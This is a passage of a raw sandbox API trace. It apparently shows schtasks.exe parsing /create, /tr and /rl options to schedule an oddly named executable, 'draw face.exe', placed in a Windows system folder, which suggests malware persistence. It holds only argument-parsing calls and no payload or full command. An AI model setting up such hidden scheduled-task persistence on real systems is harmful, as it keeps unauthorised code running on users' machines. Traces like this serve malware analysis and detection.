lpSrch="|tr|") returned 0x0 [0120.663] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.663] lstrlenW (lpString="tr") returned 2 [0120.663] lstrlenW (lpString="tr") returned 2 [0120.663] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.663] lstrlenW (lpString="tr") returned 2 [0120.664] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.664] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.664] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.664] lstrlenW (lpString="|tr|") returned 4 [0120.664] lstrlenW (lpString="|tr|") returned 4 [0120.664] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.664] lstrlenW (lpString="-/") returned 2 [0120.664] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.664] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0120.664] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.664] _memicmp (_Buf1=0x286ac7daaa0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.664] _memicmp (_Buf1=0x286ac7da860, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] lstrlenW (lpString="'C") returned 2 [0120.664] lstrlenW (lpString="-/") returned 2 [0120.664] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.664] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.665] _memicmp (_Buf1=0x286ac7da880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.665] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.665] GetProcessHeap () returned 0x286ac7d0000 [0120.665] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da9a0) returned 1 [0120.665] GetProcessHeap () returned 0x286ac7d0000 [0120.665] RtlReAllocateHeap (Heap=0x286ac7d0000, Flags=0xc, Ptr=0x286ac7da9a0, Size=0x86) returned 0x286ac7d3c40 [0120.665] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.665] lstrlenW (lpString=" \x09") returned 2 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0120.665] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0120.665] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0120.665] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0120.666] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0120.666] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0120.667] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0120.667] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0120.667] GetLastError () returned 0x0 [0120.667] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.667] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.667] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.667] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.667] lstrlenW (lpString="/rl") returned 3 [0120.667] lstrlenW (lpString="-/") returned 2 [0120.667] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.667] lstrlenW (lpString="create") returned 6 [0120.667] lstrlenW (lpString="create") returned 6 [0120.667] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.667] lstrlenW (lpString="rl") returned 2 [0120.667] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.668] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.668] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.668] lstrlenW (lpString="|create|") returned 8 [0120.668] lstrlenW (lpString="|rl|") returned 4 [0120.668] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0120.668] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.668] lstrlenW (lpString="?") returned 1 [0120.668] lstrlenW (lpString="?") returned 1 [0120.668] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.668] lstrlenW (lpString="rl") returned 2 [0120.668] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.668] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|?|") returned 3 [0120.668] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.668] lstrlenW (lpString="|?|") returned 3 [0120.672] lstrlenW (lpString="|rl|") returned 4 [0120.672] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.672] lstrlenW (lpString="s") returned 1 [0120.672] lstrlenW (lpString="s") returned 1 [0120.672] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.672] lstrlenW (lpString="rl") returned 2 [0120.672] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.672] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|s|") returned 3 [0120.672] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.672] lstrlenW (lpString="|s|") returned 3 [0120.672] lstrlenW (lpString="|rl|") returned 4 [0120.672] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.672] lstrlenW (lpString="u") returned 1 [0120.672] lstrlenW (lpString="u") returned 1 [0120.672] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.672] lstrlenW (lpString="rl") returned 2 [0120.673] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|u|") returned 3 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.673] lstrlenW (lpString="|u|") returned 3 [0120.673] lstrlenW (lpString="|rl|") returned 4 [0120.673] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.673] lstrlenW (lpString="p") returned 1 [0120.673] lstrlenW (lpString="p") returned 1 [0120.673] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.673] lstrlenW (lpString="rl") returned 2 [0120.673] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|p|") returned 3 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.673] lstrlenW (lpString="|p|") returned 3 [0120.673] lstrlenW (lpString="|rl|") returned 4 [0120.673] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.673] lstrlenW (lpString="ru") returned 2 [0120.673] lstrlenW (lpString="ru") returned 2 [0120.673] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.673] lstrlenW (lpString="rl") returned 2 [0120.673] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ru|") returned 4 [0120.673] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.673] lstrlenW (lpString="|ru|") returned 4 [0120.674] lstrlenW (lpString="|rl|") returned 4 [0120.674] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0120.674] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.674] lstrlenW (lpString="rp") returned 2 [0120.674] lstrlenW (lpString="rp") returned 2 [0120.674] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.674] lstrlenW (lpString="rl") returned 2 [0120.674] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.674] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rp|") returned 4 [0120.674] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.674] lstrlenW (lpString="|rp|") returned 4 [0120.674] lstrlenW (lpString="|rl|") returned 4 [0120.674] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0120.674] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.674] lstrlenW (lpString="sc") returned 2 [0120.674] lstrlenW (lpString="sc") returned 2 [0120.674] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.674] lstrlenW (lpString="rl") returned 2 [0120.674] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.674] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.674] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.674] lstrlenW (lpString="|sc|") returned 4 [0120.674] lstrlenW (lpString="|rl|") returned 4 [0120.674] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0120.674] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.674] lstrlenW (lpString="mo") returned 2 [0120.675] lstrlenW (lpString="mo") returned 2 [0120.675] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.675] lstrlenW (lpString="rl") returned 2 [0120.675] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.675] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|mo|") returned 4 [0120.675] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.675] lstrlenW (lpString="|mo|") returned 4 [0120.675] lstrlenW (lpString="|rl|") returned 4 [0120.675] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0120.675] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.675] lstrlenW (lpString="d") returned 1 [0120.675] lstrlenW (lpString="d") returned 1 [0120.675] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.675] lstrlenW (lpString="rl") returned 2 [0120.675] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.675] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|d|") returned 3 [0120.675] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.675] lstrlenW (lpString="|d|") returned 3 [0120.675] lstrlenW (lpString="|rl|") returned 4 [0120.675] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.675] lstrlenW (lpString="m") returned 1 [0120.675] lstrlenW (lpString="m") returned 1 [0120.675] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.675] lstrlenW (lpString="rl") returned 2 [0120.675] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|m|") returned 3 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.676] lstrlenW (lpString="|m|") returned 3 [0120.676] lstrlenW (lpString="|rl|") returned 4 [0120.676] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.676] lstrlenW (lpString="i") returned 1 [0120.676] lstrlenW (lpString="i") returned 1 [0120.676] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.676] lstrlenW (lpString="rl") returned 2 [0120.676] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|i|") returned 3 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.676] lstrlenW (lpString="|i|") returned 3 [0120.676] lstrlenW (lpString="|rl|") returned 4 [0120.676] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.676] lstrlenW (lpString="tn") returned 2 [0120.676] lstrlenW (lpString="tn") returned 2 [0120.676] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.676] lstrlenW (lpString="rl") returned 2 [0120.676] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.676] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.676] lstrlenW (lpString="|tn|") returned 4 [0120.676] lstrlenW (lpString="|rl|") returned 4 [0120.676] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0120.676] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.677] lstrlenW (lpString="tr") returned 2 [0120.677] lstrlenW (lpString="tr") returned 2 [0120.677] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.677] lstrlenW (lpString="rl") returned 2 [0120.677] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.677] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.677] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.677] lstrlenW (lpString="|tr|") returned 4 [0120.677] lstrlenW (lpString="|rl|") returned 4 [0120.677] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0120.677] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.677] lstrlenW (lpString="st") returned 2 [0120.677] lstrlenW (lpString="st") returned 2 [0120.677] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.677] lstrlenW (lpString="rl") returned 2 [0120.677] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.677] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|st|") returned 4 [0120.677] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.677] lstrlenW (lpString="|st|") returned 4 [0120.677] lstrlenW (lpString="|rl|") returned 4 [0120.677] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0120.677] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.677] lstrlenW (lpString="sd") returned 2 [0120.677] lstrlenW (lpString="sd") returned 2 [0120.677] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] lstrlenW (lpString="rl") returned 2 [0120.678] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sd|") returned 4 [0120.678] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.678] lstrlenW (lpString="|sd|") returned 4 [0120.678] lstrlenW (lpString="|rl|") returned 4 [0120.678] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0120.678] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.678] lstrlenW (lpString="ed") returned 2 [0120.678] lstrlenW (lpString="ed") returned 2 [0120.678] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] lstrlenW (lpString="rl") returned 2 [0120.678] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ed|") returned 4 [0120.678] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.678] lstrlenW (lpString="|ed|") returned 4 [0120.678] lstrlenW (lpString="|rl|") returned 4 [0120.678] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0120.678] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.678] lstrlenW (lpString="it") returned 2 [0120.678] lstrlenW (lpString="it") returned 2 [0120.678] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] lstrlenW (lpString="rl") returned 2 [0120.678] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.678] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|it|") returned 4 [0120.679] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.679] lstrlenW (lpString="|it|") returned 4 [0120.679] lstrlenW (lpString="|rl|") returned 4 [0120.679] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0120.679] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.679] lstrlenW (lpString="et") returned 2 [0120.679] lstrlenW (lpString="et") returned 2 [0120.679] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.679] lstrlenW (lpString="rl") returned 2 [0120.679] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.679] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|et|") returned 4 [0120.679] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.679] lstrlenW (lpString="|et|") returned 4 [0120.679] lstrlenW (lpString="|rl|") returned 4 [0120.679] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0120.679] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.679] lstrlenW (lpString="k") returned 1 [0120.679] lstrlenW (lpString="k") returned 1 [0120.679] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.679] lstrlenW (lpString="rl") returned 2 [0120.679] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.679] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|k|") returned 3 [0120.679] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.679] lstrlenW (lpString="|k|") returned 3 [0120.679] lstrlenW (lpString="|rl|") returned 4 [0120.680] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.680] lstrlenW (lpString="du") returned 2 [0120.680] lstrlenW (lpString="du") returned 2 [0120.680] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.680] lstrlenW (lpString="rl") returned 2 [0120.680] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.680] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|du|") returned 4 [0120.680] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.680] lstrlenW (lpString="|du|") returned 4 [0120.680] lstrlenW (lpString="|rl|") returned 4 [0120.680] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0120.680] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.680] lstrlenW (lpString="ri") returned 2 [0120.680] lstrlenW (lpString="ri") returned 2 [0120.680] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.680] lstrlenW (lpString="rl") returned 2 [0120.680] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.680] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ri|") returned 4 [0120.680] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.680] lstrlenW (lpString="|ri|") returned 4 [0120.680] lstrlenW (lpString="|rl|") returned 4 [0120.680] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 